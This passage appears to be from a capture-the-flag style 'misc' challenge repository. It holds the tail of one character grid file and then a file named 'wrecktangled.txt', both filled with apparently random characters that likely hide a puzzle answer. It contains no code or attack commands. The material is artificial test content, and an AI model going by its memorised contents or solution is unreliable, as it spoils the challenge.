I } W s : ) N Q o O l ! 2 i ; ^ ; i E 2 E W 116 | G c j o o I a b & p l # ! H A q P E ~ C [ c ? h E + n ( r 8 k d y C + M < w t t 4 2 V e 6 3 h V y A S h : o k J ) g c G 5 s { C 2 w Q c & P d 1 e S v G _ O o a ; w _ 9 ^ r | U 0 ( F 3 r L t h F w Z _ I 117 | c o a @ L j Z # # 9 a t [ c ~ - o 3 p 4 Y } q V | q = T M ; M h k h x j h Q [ 7 | G k Z t ( n o G A 4 > m U F W h f V Z _ 9 L D 2 M [ j u z Z ( a m P : ? = k > ( 2 # @ V 8 # 4 V s 0 x U L P 0 & Q a E 4 118 | k a y I = 6 V Z ! + J + E y ? < C p t r o t j h s a a 0 G 1 _ E ) o p < > z v a 9 _ | W T 3 c Q d + r T O & 2 X Z U p w r 8 B ) ; s N - g H o W K A f 7 G o @ d B J d # C e w T X 4 B ? ] t R R v K q q r 119 | { u r 3 _ P 3 p V _ l a 2 ( e 8 3 t [ R ( ^ ( ; > U h U n N - v v w U t h b E X - @ = { Z V T Y > a ? 5 ! # J ^ q H ] Y h G 1 r 7 q _ [ a i 2 o 4 j m 5 N J 9 o Z > p T U n W Z g E - & ] A f E = 3 ] Y ~ 120 | o g o 6 e k o J e r 5 Q q S a > ? w g - C G 9 F e + 9 | q ( u - N e x p Z q ? M F a g j P _ z u F L r H _ 8 0 E & ~ a Y k 1 b L a & F 7 v 0 B 6 P # ! S 9 D ( e U j ; _ F 3 [ w m i 5 P p u f C B I @ K ^ 121 | z z a = { a v m o _ = p o T n C o ^ X ~ t v d K A o ; - Y t ! g ; w a = h r ; H 4 F c B 8 3 k W h E { X d o W q H O j P < S u < f 8 Q P Q y T t ~ T a [ e 9 Q K s 1 A j 9 ( + @ + + ^ e R w ] f & r q t g 122 | ! e q x p a T R n j + > A # E = k 5 E X w X g F D ( - ) k _ ; J ( N o W @ < x j W T 5 0 x 2 C 3 4 d U u Q O x J 8 V W 4 p 3 2 n V _ c e q z q r j h b | b g 5 k o x M K @ p k a ; ) } h 3 k j q N > H B N 123 | 0 k P c _ P R E G J ( 9 < ( ) | w K V I f a y e p Q h ? @ = r Y w B 7 : r = L ) @ a S J M 8 v + 1 J } [ z 1 9 k ( N J U 0 S z 4 i ? ) h = K z E ( R P f = A 3 V M Q O ] _ + ! V X d 3 U 3 a B C d r } m T 124 | b r g # = ! g 3 B u v h - ; K H n x 9 U j L G w Y c z J c y w = V ? = R X W 9 7 o : ~ E 7 J 2 _ Z 9 T d d M u P j 1 4 8 w Q Q ( D & n a a [ F J G 5 X R y e n w o A ; [ ^ A H ; ~ & C i A s j o F > A # 4 125 | G ) [ C ( L : w T k ; - N d V ? 7 k & g 1 t B j ! 0 | > h M H ( c U F a > + j Y k q # C N ; T g w Q W # Y h w @ a # O - E r a ; W 9 x p M 6 ] | A ( I P G j I q k | n h 8 ; n _ t 6 d k - w Y Z h u f k b 126 | W j 1 c U a _ ? = u O o r ) B j # G h v 4 & E S 2 P 4 k ~ g [ h r H 1 i a j z [ 1 f - ( g Z h [ G : V _ | r ^ [ _ n J o M - f { 8 s E X I # ] _ s V ( o E H ] O ] O k U ~ 2 3 4 + = ; X + v j f F ) h { x 127 | S b a Z R r ) s c U ^ N @ E F # B 1 U P T X a Q l 0 9 N Y Q S 8 Q j G J I U j h B ? 5 { a : p ( 3 s O n r u m n V r o ; Z o A < z { q 7 _ 6 r A ~ h D i c p p ~ y a u n ] ^ | c ) p F C O e r 0 y U S F R 128 | X # V n d r o & 1 h s u B f N + - U q n 9 h 0 P g ] ^ c t B ; ] a q S l g ) r 7 2 q F U ( i | n C c c F h a J T } s T _ } U m k R A + + h ! K _ k 2 a y 9 q v ~ v n 9 p a G f 7 o 6 q 1 5 > 8 : p ( I p h 129 | d e i D n q y ! a K & 2 U q C 7 q f Y V c @ 5 z 3 j j a N K b k q P I > 9 n y H 4 2 r T b T T [ B W 1 _ I c @ H w T [ I B c P j 2 V O R A ? r E ) : @ k Y 7 g j _ : A L o = D C W ( p H C v P Z [ 0 { n X 130 | r { n - j t P P q O d u c h q { + e 4 & : ) = B N R o U j K w ^ a P h n k n 3 : W ( : ? 6 : _ _ ( 6 0 o @ O ^ ! X d 1 a 3 > a p N l o - O r V Y b n o 6 o K @ 9 1 0 ( l 5 { P a m P u B Y o ) ] s O | z H 131 | j T V 9 - 3 r < u 9 8 + f 8 1 j a = T [ 9 : : W _ 3 Y v u Q H H s m w = C X 1 _ a c | i s j L A A 6 u 2 L u g _ k N d h n # X n K + 0 v j J r ( 6 0 u t k O b 1 B 1 p 5 N = J h & 2 [ z C Q H | ; ; ^ X I 132 | j C F k > p + F r p J ) Q e v | q # r y d S ( i w a C t Z F n B 3 o < q ) Z F 1 3 ; ( k L o 0 i w L T d < 9 y j ~ b _ 3 c 7 _ f F Z o K s h k _ ) V 8 0 L d b F p K 3 B H ~ : h R H ) Y ? C U 5 N b w m _ 133 | J M o F o x v g e b 2 i 8 A f 0 7 6 V M 0 c x + d a u N o - L y m 2 x D ( # V 7 r Z = T t w 3 + _ o I a F r k Y ^ r b f Z a x a ( S } 4 ^ H Y ( | W d Q & M U ( < | r m b y A L O i + | q B : : a s G U ! 134 | n & # a R p o o W ? B d ; # g a _ w z G s h r a 9 ) ( I x A [ h A A f : h Y i a { 8 y 2 A j ^ & r ; d | h C V ) ; k C ( f E { P ~ ) d p O X g E 9 T M k G M ] : T # ~ L 8 Y u B 5 C ( ] ( N Y V h q ( i w 135 | o x S N M e o _ a K r S V N l @ n r k U J n V j p & j E ? r ; T = x e D 3 a a ( ( m m e 5 c x a v q z _ 1 > F M t L J | Q L 3 _ I v C ! p + w o ~ [ o _ 8 O I # X A I 1 o G F | = 4 q 9 ( ( 6 5 ( P Z ! l 136 | < 9 p p e a ; y w k S v a L G a n m C 8 Y ] g u ? ( 1 6 j 8 N N ~ P b 2 b J ; 7 ( P R j r N 7 W S ~ m V [ 9 7 2 K t 8 ( 9 q F r 4 + A @ > K p B l i L m } W s & V 4 E D _ q ! 8 t 2 j X k u o 5 7 ] { O Y 137 | A E 5 # c x 3 R M 1 > P @ V # U ] @ v r o @ 4 h { T G f h I J T h | E O D ) [ u a 5 v h j ^ a e k h d r l h q 0 ^ } f w L | 3 - G 9 < h A o t < a = b 6 y g U i a @ D X o U f < 7 v U U } < U I q 7 [ a 5 138 | p Z 0 ~ d p f a > j V s } 9 ^ f f 5 8 | Y T @ | ) < r H V 0 Z k _ 1 S Q n n j m Y H 0 e A h < H C ^ u a { V h U U G Y y v Y E j D K j q [ ) 0 s ~ M o _ 3 ) D k 8 K f o M ) r _ _ P ] K G u l q t o _ W b 139 | k p D Y H { @ P ! ! # q 1 ] f s Z k a + W ; _ a b a M k > 1 _ 9 p & ! q } F Z 5 D u R 5 } e h J g ? | ; u Y Z m g ! [ o 3 ( ~ C J 1 r c o T k L e ; m o ] q y @ n g ^ { K g g K L c > L 8 _ + g J w h x G 140 | t ! j y ( } ? : i T ^ u j - H ( < z t s _ B [ i p 0 @ ~ B J n 1 6 3 D r s J _ 8 k Q 9 < : 1 5 ! u ? 2 m [ d E q q h 9 _ o r U P a ) N ( r H : N a o b O H o : m T @ j Z # _ q m q w C R ] i 1 V V m E 7 [ 141 | ? 6 P q W e w ) ? E y _ 5 + h 8 f [ g j n 5 j 7 P < r a 7 ( b P h G G g [ t - y { A 4 6 D n R C a ] K G > a ? s H j F s 8 ~ [ 9 7 M 9 z r Z ! m n e @ o L c B I r s ~ ] > = - U K r g 7 N c < q 7 F N 9 ( 142 | A p k J L l g G ) D t _ k S L k j # u 3 q P | x ] D 9 o h B < y A T w 6 z h r E t l S 3 b # H r N R q h 3 F j l | g j N g w h a { r o : > 3 + J T y ? j 8 W = B f O { 4 j q : : f a c _ 2 N T J w ( 5 q 1 143 | 4 2 W 0 t r - ( { : ( F R Z i } - o w a P C ; u + p a a > U H g J q [ # 8 R 4 b w k 8 + h t 9 D z = i K e ] H & P 7 ? q D Z [ 4 7 g < : I _ [ - g b k a y q 2 ? h M F a D ; Q 1 h k @ R q I L < U I [ 5 k 144 | d Y o o i ; ^ w P # 9 } I h ! q ( 1 c | @ 6 x s Q ? - 3 g D S # X & > _ h F I O - B X V x O t 9 k n h Q k j d @ R ^ E n i Z W 9 N o ) G K v y e K W a a 2 & 9 D : > ; ! # U T + 8 ^ h 4 & q [ p h O 9 G F 145 | v & s = U U x o ( 0 = X y 6 _ d v 3 & 4 V o : O u U ! m [ B G ^ o E U L A f y d & 7 h j e r ] x T a ! N H V o F c ! < E 5 S ( _ | L W H Z S V g 6 V 3 ) R ] q 9 5 C # F 7 E ~ v 3 w } T b k 8 - F c f i h 146 | d p o V e 0 d { { f C k h ( ! ^ K [ 9 N U e p k _ w P K 3 A @ a - L N W Q ? : ; L R _ j t ) 5 - o E 2 i p P + O W i 0 p s A q r 8 6 B - M g B - j b p W L z ( q Z < J S A z [ h a { S P @ a I L z ( a q _ 147 | } t V 4 a H _ | m W V # T k ? } M P Z A y E M Y U C q ; C # [ < E q w c ? 6 6 0 a p O Q a p i > n R M B d G ) ) l o c X C ? V k h W = { m L : y 3 F @ C ; _ ) F q 4 Q H o E ) A E ^ 3 2 W o ? N 8 D & k k 148 | W e x 3 ~ a e A & N 6 P 9 j ? l # ] i X 2 N } ] _ ( o 8 < D & U O W e & ^ r a Z B h i s h k u j I q r ~ _ g X L 0 q 2 t G Q s q W _ 5 5 b E # G { = ! C + 4 > N x e 7 A # x n K j 4 ~ s J m q P 7 ( - @ ! 149 | a p } r h w e > c y v 0 3 8 y u ) V D X K Y q 7 p G O 6 P F s r O : h o j q 8 o l 4 z p S > 2 W q 6 ! U R 4 ( L V [ C ? b h ] T 5 ] o 6 k [ & + k ) _ ~ j # 1 s y 6 p d 9 o 4 _ I a | a B m y n W z q h G 150 | d < s 0 < r C q q 9 O _ b s - 5 R q a F s u ] o j Y v q ! n ; p k W ( V k L j { 1 ! w C 2 q M [ y J S K 5 8 2 h F N 7 T m | C W v E @ U q < _ # q N M E b ( B c A 5 ^ I _ a k K J i [ d p 2 4 q E _ u j T 151 | M i ( Q y D B v D Z } n ( h 4 Y v I U t Z h a z o k O 9 V ( 1 r # ! w [ I q b a N a f g { A L T U _ 1 j ; C @ 5 z J q f 2 F b x r F U E L r 7 S s J k 0 [ [ P 0 y j _ ( n H t ] o z a B R ( { 8 b x q 2 z 152 | z P a ( 3 j A J i ! w M r I C l 3 Z ! @ } D B l a } W 5 9 { 5 d 9 2 x P ~ < g _ U @ 2 m b z V L < p ? w Q Y r @ H L o k p v O p @ k j 0 J R & 8 ( 5 2 w | > 7 G ~ a l b h c _ 6 6 & & X Y P @ ; K q C v L 153 | L ~ 2 J K u _ ( c + ~ 3 j z K 2 6 5 b C t 4 k i > J p n a @ V > f 3 [ A ! C a ~ ( y J v 6 q a _ o r s P _ D u d a 1 n K ) E o A : I D ] X v _ G m > 2 Y _ 3 T g _ X 8 c ] U G e G L - K W F + w Z r = Y o 154 | Y _ 5 j 3 G q - K H W B U ) = Z | 0 # ? D 7 ^ ( 0 X ] o J d E d : X ] J : X h Z a B f R d ) E X | t ( T q R b F 1 o j ^ v 6 b O D n & < Y G ^ - r o S j L E P F q 7 ) ; o a # ? T _ E X 1 ^ n p w K H ? N 155 | # ~ l ^ _ q [ 2 q ( l n j - H 7 L 2 G : v > _ O ) @ 8 ) ^ E g J h l c a > Z S I : ( r q P N m _ M m U H D _ 0 : V E 1 n ; ( a a z j h 1 ( P M t t 0 h o : 7 = { h = c K o | r ] : ! k Y k m p - = a L { ) 156 | 8 | N ! B 2 H a 8 q T T X L ^ 8 Q ; V ( H 9 1 ^ U [ B G o 7 4 I 9 1 5 u Z l < _ D 0 0 _ { k H G H C B ) C < } 5 p } f & : | j i X ! # R _ a k e 3 P & _ C q k ( K [ N & q X n k P k j e k h _ = n U X 8 w 157 | [ - > k V @ q s I = 2 B g W d Q Y U z ? M 9 @ 2 ; 9 c ! ? { } D T _ k < z k H x W o a ! d - y C D 0 Q h } X = A ( j g 1 H Z l W S V B C _ a D ; - q G w x d J 2 r j _ F O l a ! a M y V ) _ j e - } u O | 158 | u 5 R f t P z o m j ( Z Q o q d w J a y a Y h J g n ] i o o 2 O ! 4 x j ~ d a w 5 : N } ; & g N p & { B p h 6 4 M o < 4 H q N - K X 3 p S E q ( q 3 l R b 6 o F W | Y X N z ! q : q 3 6 Z ] R _ a H [ @ H 159 | z 2 E p 2 q ? 5 C L n S ? h 5 p q m E ] ^ m k { # h d T h O ) j ^ Y 8 p k B ~ V 3 + k < F q ? Y & @ W < ^ [ D ( - o A k M Y r { c 7 i 7 q = + t + y d P + U } f y O Q : ( Z f i { o 1 = ) E J O @ o G M ~ 160 | Q s 8 } 1 X _ q a [ ^ t u t I x a D d - X @ R [ ^ S | C l D U : z Y 2 8 ( _ a e R 7 Y ~ | V N D 8 # r W { l a < 6 P u 0 s J J n d ? q U g k 8 @ Q S k ^ w h P r e a : } 7 @ X t P s F q X C b 1 W F n { > 161 | U 4 a 9 4 V R C 6 t M k - 9 o @ p Y F T h s U s 9 9 a a ? b k I G O a + a p ( S B > G } ~ U i b ; a 3 j F ? E g h ? h I A A > h I C 9 j J _ R H q ( O J ] _ K ( _ ; ^ : ^ J H 8 O } A m ( r e p v q K a Q 162 | R ~ y i o q X d 5 > - 2 # R { 9 { ^ = f t j 3 e ( c f X ! _ Q a ] F - w r O 7 a o C c & Z 9 # a e - < d Z W A W z t h x q I G a ) u y | V + r k 6 O X a I # a T M L k _ Q u ~ S X & G ! z t m r Z g D d j 163 | F > ^ E q a & j q A 6 4 N > w l L O r 1 D u h d J G H H } ~ b 0 i h 0 R q D ~ # F C [ 0 | [ a 2 r j 5 f + & g = w A r a = K ^ @ > q m 1 M B H D Y V c 1 + a p l ? ; d - V M 2 _ i N l P x Q P d & 1 c 7 T 164 | ~ P > g & + : - T @ H 6 m W Q 8 u e E X [ : G o j ? F @ P 1 f 3 k _ s A ; p K K 8 b k ( Z M m L @ H o y 5 ( [ w G o T I G f _ Y J ~ h b _ W u a ^ J ^ ( T j d h g T V L t 9 ) t ? _ 5 D J S l a } H M - f 165 | P e i } | 5 { h V { j v c [ v [ Q R # ^ _ < a 1 [ [ P _ D 3 e ? Z j X ? z o : 2 O 2 E D 8 y - k q 5 J D z | k 5 _ 9 _ _ H B E 8 C U N ( X A = m ] 0 > 3 9 > H Y q = ( M r q > j 0 < V + ! a l q u [ t P g 166 | G z : h Y j h P | N B + + d e m d N X s ( E D F b a & ( J A a L 8 | j A e U S h t P = C B B X 4 t Z l < J M ~ O M @ f 9 a V p | s r 9 V h W 9 ] U 1 8 m A P = b R & e : f = 9 r o ^ @ - b } u X H n k w { 167 | [ t O 7 ; i G B o S Q 3 K F B ( ! k < < x L E Q U & & D r W e C ; d d : r t L i 7 4 6 t | ? 3 ] ; I u V z g k z P 8 ; G a ; m h # r J Q 3 t r ^ p ~ S | 6 u - T < h V q | r ) 9 e 3 P H j : I w m [ + 8 Q 168 | 5 # - Y [ a h f ( B C z _ p U N N y o c ( V Z I Z & D F > n k w G y d R k F c & y i + Q K d ^ P s J A > y ~ e | 9 8 X U R q ] J 9 f _ S G B ; X c b N : B k > ! B a F + E F K ! u ^ z D k _ l | m k _ 1 r 169 | o F n o W t P d U e C 6 @ ( < f B ? X q t _ _ k Z o ! 6 Q q # l ? S ] ^ S h # a y a o O K t @ z h p k Z h 5 R K a D } | U j ) B = _ 5 ? c ? y A 8 z l B w _ ] e A J ( v g a m U 5 2 6 L G O a G c c V K B 170 | & a A 2 l e ? H ( I T 7 M > y | | h G m # A N ( T ( s ? E D ? X Q T F I > < ~ D P P K u V J & c k w ( D a 3 H : j O E x Z 8 a ? f Y K i s V T h g M 5 & G I A a 3 _ | S V z = J _ a b j X n ( H Z F + c ( 171 | P o i | 1 j O C x ) O R ( b c ( K p t 1 G ( u x c d i o - - ( m s # _ W ( ] e Y M < j | p Q 9 Q R v ] ( = r { | m k ~ + Q t > C B @ x j v 1 R ! } - Q Z k z 8 V ? f j 4 G d c - S f ? ( L G k ] d ] 8 F L 172 | K K g N > J G E W j C : 1 O j e Y : d } W 3 h M & T _ B a j 3 ( 7 4 : G l o ( | H ( 4 5 { O : # Q H = _ o 2 : S 1 3 V Y r Q d D @ m g 6 g r m 3 c ( P L a z u ? V _ b o E a p m c # p _ M h a ( ( r 4 ( a 173 | # l V y F c 6 @ 0 { n x 2 A s 8 T o K j E w e 9 a 1 ; 2 Q : h i ? 7 | U y J 4 0 _ x 5 d b B & v a e x 4 + T s G h w x u R L N u D | q q = L a L C + S ; Q d d Y : W L j W _ ( G : # E U < } s W W v ~ D O 174 | 0 M [ | h ~ O r j y T X ( J Z g z ~ M O y X F 6 ? # n ( y k r X q 1 6 ( E j x m G u y C r @ ? X o h - 0 x 6 w & M a F B A r G h = 3 O 7 B 3 f A | k 5 } # [ U ) - S 6 z N o ~ W 1 } a e [ J t < 0 c Y w 3 175 | J 0 - X w Z e : 4 m r p 9 U [ b c A a d 8 : h 5 d k O j F ^ 6 a l g k V j E > < I j [ C h o A I - = w } W ( U L V 0 L ( x > l 0 G C 5 Y B J ^ y [ w & 3 n 9 a j f W 9 n ? 5 z K 9 X ] A o 4 r y y j ( M G 176 | l 2 6 9 # | D - ~ 2 O v T 5 _ k 5 7 8 @ 9 > ? H M = a a i : } E Y ( Q h 4 9 6 M b n G [ o _ 3 q & C e 6 | f ) h ! 5 ~ ! g a A e ( s e Q ; d p X y O R j z _ q V j a 1 h 2 | H 3 u S e 3 @ A Y & w V { : Q 177 | a f 6 S O Y q > q d | J k U 6 i 0 D 1 h k } + y 1 5 B & T 2 2 ] - ; a h ^ : R h b j r L x C ( r s R + n E j u f E C h z ; U O C 9 n j c @ h f S O 2 { W i q Z | _ ] ( ( a I _ F ] Z q J - B T W K O 9 N # 178 | 3 i G V O h k S k O + 8 [ I A ! 6 v k k # ] G X > U < B H @ K l D & I } 2 Y I q } 5 I E N ; ? [ ~ ^ [ ] w H E m Z ) | M y P a r t Z J G _ 7 4 l J H j g S i ^ & A H X x d a 5 ( l h g ] k a h s H H k c P 179 | v K 2 ^ # + + j L 5 5 h 1 n g C R d L K q E O } r L { # h ~ a o A J } G M ( e o q E E x # k 1 c P & J + d m | & k 7 @ t E g U L 5 = { p m q y K O { a e 8 b t b 2 J j R ; C + p f 7 > L = m H C | ! = i [ 180 | r } r t 9 & y Z D k F | 2 G ; y | B A = j x } K _ l + | 8 5 C h h r r - = q h - 9 j K 0 l h A x ( 8 + d r Q 7 s S ! = N y ! - ~ r v I p K M 2 f x H G y P E - u W a t a k o x ) # s ] 9 T V & h q P G F p 181 | B ! z t l a { E u r B ( d a I o c P X A d # 1 = B l o z N = + ] k t E [ Q & ( : m F m h 5 5 B ? k N 8 U ! R = } ! 6 8 h s z h h D ^ [ U t m q o 8 _ I F M l ~ T : ( + Z g V q T + H = ! _ _ = e v < Z 5 q 182 | & j ~ G A _ A c a U q ; k L ~ u ! q 4 f n r k S p h Y F q # S B - B Y Y G j 5 2 3 | o Z C J z C W r U z 0 d u Y r k @ b T J S E @ 0 r - H h 2 r J - U @ 9 U ( ; 0 o e k 7 3 c p ^ U X q O w E N 6 F Y 8 r 183 | X V - Y = o J O ; k ; 2 = x S P 8 L U r 9 _ p ^ h O y ~ W 4 7 4 _ n z s B z 2 k J S H u _ & U W D O C r ) o h p i 0 8 u P K o a a X i k R X _ ~ b e s t b R i ? ! 7 b h V [ 2 k n O ~ d a W E m r Q f k & 184 | P a v 6 < 2 l 2 N } a ( h A # ; 4 U V N 4 E < N S C M 0 j 2 ( 8 y k ~ = ( F _ x y + G 4 k & 4 g ~ + q 1 @ s x j C g l l = 9 h M i a O T ( L a ; 1 p ] < l U Z o l 9 E z ! # n 8 o Z H m > 5 k B 5 q # h l 185 | 2 _ 0 z p 6 M Q y y p K R K # 1 i } b j a 2 M h z e q D 0 S : r 9 M = ( G w k z k N b q a S i ? > W c + w g _ B A ? R t [ B d 8 i D A k k ~ e I W + + b h - ] - } 6 k 8 7 l b | Y _ _ l A G @ e k z j : T 186 | o Y D ? l e a } 6 ) > ~ t + K u = = C > + ( p ! V ^ h M v 6 b q _ ) 1 + ~ a k a k A @ _ | S W p ] ) ( k = A P g a j r & I R N ( f ; n f [ r B m [ [ 9 m ! r ^ N g U 9 H 0 H q ! 5 I D : _ { ~ > a k @ ~ a 187 | N K : P P h { ^ a g w | a ; S l T z ! } X _ E 7 Y > 3 _ a k 0 R v 7 y B ; _ Y p b u W k l 5 h Q 4 & # } c Z ! f # + Q b o z # 6 M ~ H k 0 O [ F M N J F : k Z v r 7 # A O g ^ o o a p N w o g D A 9 9 ! p 188 | f h h a a w k g D o w r = 9 X : T a f a a C F g X ^ @ w I f d S < g m n U 2 c 0 Z v s ( s B C _ = + C : k F ! ) m _ a ) 7 C R ( O ; ] n # | d U k ) X R F K o A x c - 6 { d O i } l U ( f ] = m } 3 z 4 ! 189 | Q [ : r F E 7 I S @ b 3 S Y ( L s 2 U W h F 8 _ e y j z | d o ? V X t k 5 X P ? Y ( q o Z : { ? o g 5 j W o f 4 A j ^ r T j B y 9 J h o u B t c p ! n a 7 5 - j 4 p x I ( } 9 ^ U } 5 ; u o C ~ P j n k V 190 | D y I & u 5 B E ~ f ~ P | F } e K E s - 4 b M o G ) M > { Z [ a | 3 X 0 g R O w K p a 6 ? 1 } p [ a w 7 u i z O _ < s & [ a u ? x [ d Y L P [ ! { y g 5 O ! b v Y m O 3 Q r + M a 6 2 7 a { ! h H ? 0 0 5 191 | E 1 q m 7 q @ T b Q N 0 U h o < = M q a 9 < < k A & b : = N P K S o k s y D n Q j } l > # ( | q : q 4 6 ! ^ g K O 0 N O f 2 1 z c F ) n N Z : k y g H ? p ? q g { Q n K c } ( Z s ? z y ? K F y O J ! I ( 192 | t d _ A # R a n q < x S Q k 0 G t f c l O ! ] c s 0 B Z w Z a c Z r q : B ? ( I V # @ k & 0 e 2 Q v + 3 ( V | h ? r X y Y l r f @ - C t 3 x m 0 e H D ] ? g A P v M E 7 @ k ( h G C ? a - e M @ 5 K D L } 193 | U 5 5 M o H M L ] J > 2 S W j Q W r D r b _ J b Z t K x ! T + h x Q Q E > Q f r h g 4 7 n b O l K A U P x e ) 6 + 4 b : p 7 o a _ 9 x O 7 ~ L l 4 P 6 Z h W 7 0 5 p m : ? ) ( B 5 O E ? P 9 ? a j X G A k 194 | -------------------------------------------------------------------------------- /misc/Wrecktangled/wrecktangled.txt: -------------------------------------------------------------------------------- 1 | k##op_;YEl4yTnwALsy|<{(Ax(ljZelWjMK=#WmjO{fS2bj|QoDWoNWQ{js3o;I91a=JN_h1YNto)[}:Q-wVMan5AOx4N_q8GVeygemdPLJ7#J1NYx^mMxmi:U4^E4j9#~qxO~E@}){BiRKLt?:b4(~fhavrun6UjS#?WCQ}MLH&Gia]oagfbdspk59)i;^broM}ziIljer)fKSa}_M2x_&pk>e5OW_~}ajx31{eVs:VL]2|fa)f5Y9pu2w]Y2c(nTyFeT63oCK&g9StRJJ<(qjJI&J@arTB{QQZ6aKB>t-Y2bhA3trjZ7+9Z]W4islo=_h[JZ(C6>?(rJbpKgvzHLlZ[(D=W(bU9VZtaAxe@lqG}^~7CtapL:keC_;#{b@vq5|2DUhqrR!;gQk!]xy~#1_^xg(9c)C5[4FraA_[GPK#Kt=hspI6hh?sE&2LaqFSYWFnSx^N8_sRo~jgqmaKgaiiz8Zsa_>RqRyq-Ho(]WE[bi5GKv9xng36lcaZrikP4Y@U1h)RqEQnUqtqHoqsGvcuERl_f9G5]_-Ek;v6k?_jYRK#UNoDo8k__{-K|^o|YqN_3>mRdjCL6xrq0R=uJuB}oU40kq?E1{~M5al-u[;_&R9[(<|CEI#aqYeIBWhk((x};qimPJ}e)amqujLelwap9X6Y(IPzjzo[a_rn?!hpO>v#5da?40YqBqpr08BQ|&e:8GGu0RnUdD(c|p&EHijh!zn3Oa[(IU;2-_#w1Hg8#=5oDj;|vN=TU9mk_rdpAJy;:WsgRAjdn6VvOrh2hKGd}{3aQ8FyyGah>4(~akLldQ@M)?NX;]Jwu#^|6id[]^xPr_1TT(h_Z~MkTSnEQ~[X7b-iFPk@]SFh(M@U<9#Er<4d@U(IsKjsP_UajFbXhGC=x(Nqrraf~sv5FDQTEkC}Sq8r4V>mBfC8WkX?7-(Ra_qTR80QI;CI&_>pdHJ@{1zj{4&Gr(jz;Fe_c@RbhrN0tU:|Zra@~gHk7_j[}fWa]jiyX?gdp-kQG>EK1{zK;<[&9SDRPTDU;wa3h&4lTJr_ql>SEoc({+d{K!k(a[KAQ&:DeZX4Sg;RWNhFXvLNBpG@9_qiJZL+CkIoa{w(+K^~GSaThaIe#rR(|{R]nU[qlgqneb{nK&Quj[8JM<6)ZhE[R4dFCO}yb_3#T;~Z{Fsm-OfHH(T][g9oHda-<_XN(1aBCkd-QdrCFA#gkxqt&YyM32~0Wqe?lDo_Y&><3kD|>+QH4?v>0|98!yoCte>U}w8i!ANr{|z(+QjP_hYnraC9[gXAask?9dWDm5IS=i{cRSd(qfoTy#K;E0jo-ux}#9Y(mKjD(+Or?RPqt4!yy!a(WQ!l5j-rv4_:ap5Sc~o|4yjh&y|[Tfax]x>t!|W8|Uf[_p:X:i>jCT4TraJ]^>N(oKi7#Z-gw_KV[agetK~clJH[!r1hi_6MgWgeWRw:JZB{Da+1;kuekq6a#KhhEE^t{]4>;5]ahj;w2sUf|z}uMR7-<9Tqjpro5twvhMEur-Mrj}~XRG6:O=}-zLf)J7T_)qf(^scozV~:_vFByNE4{r5ah2{kGTQ8w&hqAY}Mt<]9^h~uMB=&U:O}#f:4jIRb;jL@gHi~k4sqSNYqQhn1SDA&W=32ysh1_urq_6<=OWM(-LftDo_~iOQO1U?kWo;XV)x8iyHh5~oKj&-GWVtQlko+vTo^W83(z5@O4|Z;Qh<5RCp#dZT09@TI@JT30[QiT]7q[qr#o;z1d|Xr8F7kv>h;8:&PuNp^=H4[Tuz9eaZkup:4Nm}R}V&j47Dk#[aDP!)Ft5M<~C3DO1R(d(Sa:8aoyi;0U89;aST|}4=3a+!IazY:;1;j7g_qHQRa)d0S_b;RMDOR?okGkNK_oalNbC8:ftOl1atNVU(X_oXs~ZP@FFoHv:YuDh(g-hk-I|3aoSkL;{jh4G>98Bv~oNBuad_|0o?Cjq]vjfy5joPV6gjI^0v#+&xB3VkroUMGzh0_[0Y8U:R+)}F4(V0g~!C|oC=8q=b~I=?ntO[Y3lWAq0Fr(=:qEAi)MWA5Q]:(|9tf5=SZJ]!CPdrc4^?M=-gh7ibdq[DwQ&B-lV1x6yU7oDPRSj+D&Pu>-hoz!e[UKXIW1{kA[!t;?np~Df]_<2c}Ie7(av6lmfoljEYYleGaourJp_q!Hi|hVZ8|gZ6[wsmj}^zhFsPTCed3=Io<70#UIzAE5aJq7{WErvG#)2D]j0L_;q#Z~raFk+_Lw3[3(1suxMO293tsjvTW(0LT|xag:TAk=sN:j4At<[!a&kQ>x8ZQg5S_O}c(gxoo2_y-r_YI-rI@DZ(qh~F&h8Ovu=-XX=7orxdqHJ>BLt}e0yaq]JKU>b!-Dk4_4yZ&CamaG8qRhk-T7N+u-oBr4q~o]7aNFs5=i6Q!jagaQfg?ku2T91(aSya_M4i2DOoNLG9Q7(ccqi57CGGajNC_}rTw}JGL(niDuo2Dgm]:R]c&4HqRefaNoh<]=6[}T5cJW06G|TgMk^#_q6DhvLw}D(jPkygKyQjAGFugh@bWh+_Hua|HC_wK?sT|QX]4B!wF[8aZpoBP+0{eR(a>U835p!f1f=sd1VK_!(2bbkqMMk4a;tx?Kkyegjcx6!au(^eEym#gkTke4PUxv=+Ev^o~oVqKeA|aj&p2_jaShs)A>_8)pjaIY[d)-adDoqx0h^k965Dqlk;#!Bh|]_nI_}l:QHdERi|]{=jiT]R{kaExhC~!}-k!{PhY#?GqgiqDY;xUUgg8OD!FVj[Cn7W-@|8+F?U1k}N(h(P>Rb{Shxo_{rk_vx(:}ZkGfDL8Vf5;_Oe0w&Ur^fEePMj;K?-kh:i|Y0NNYa8lj_]=a[k9SkB>C4gWNbl:A!7Y1Vs6s@ZvGO4G]dz_Rjxjy7K&jr]mTQ@-w7qtWE5lM]aih|h65BukpnGllzGryS1EBVTPym^ss[L;1C+(aa5H~|YG5cCnbq@k2&T(]1(DjJqKR=QPDN(5(;IYrr0TQWae?C:_nVQ{0NC8iwQVh@O~Jq>K<]jcoRrqEVYZjo(4ZaN3CMeka2sClYojGguPI&kq7|c>k74+i}ZfjccBB1r@W)cU{It3nIpH^DvakL+7mA&S4Q;4z_(oA<1]k6z07PN!292)uv#Bdj}N=aNo_rKqqNkr5lc||ohq1(4A?(-U_mdpv9|C!TL(vI9bq-m&fZh(jR#vW)>NEOgUMeT1Ui}k7XM6IcIl]qB)(PbMM&SgBf(K=X|wj4asGdIZajvoD?(tar?:Xose_CAqPa{7LFuc?F+W::DA@)_qfkrn|-tyQJ|qVLZCk(]q?LC#{2(;vgYkj_9KD5)&ZFrFrw?|hkJVie^@i(9d6?Tj7=nKZ{|!c|qfhYT~Qy8(k|0mELaN&oU>x3DD]dLpuV}Fk{w|yIR87>bU7(~I)KhI})a3P+gXlw5g7++Pxh@XcIx]h6R7))XB]UE#a0boFaB|wY)X2Z&?-oiPc23Ghj^Rh1}?kIKkaaI!zpM;^WNb_CYhZJUwThHqC{D8{uWb?V{@m4a#akXhc[FO!?(ByNjji>rako8fYX-@N#!s1aJ3GNI##-qw9@J&Z?|fpf2E<|akhLafXR((ojjm4s06I@uayNvY;EdZ-8?Qm(r9R>Bg}k;_()OoUawhjsG#1]as_Dpz^WKwaq?Z;l2AGo#{q0m+FB6{KD|?r?n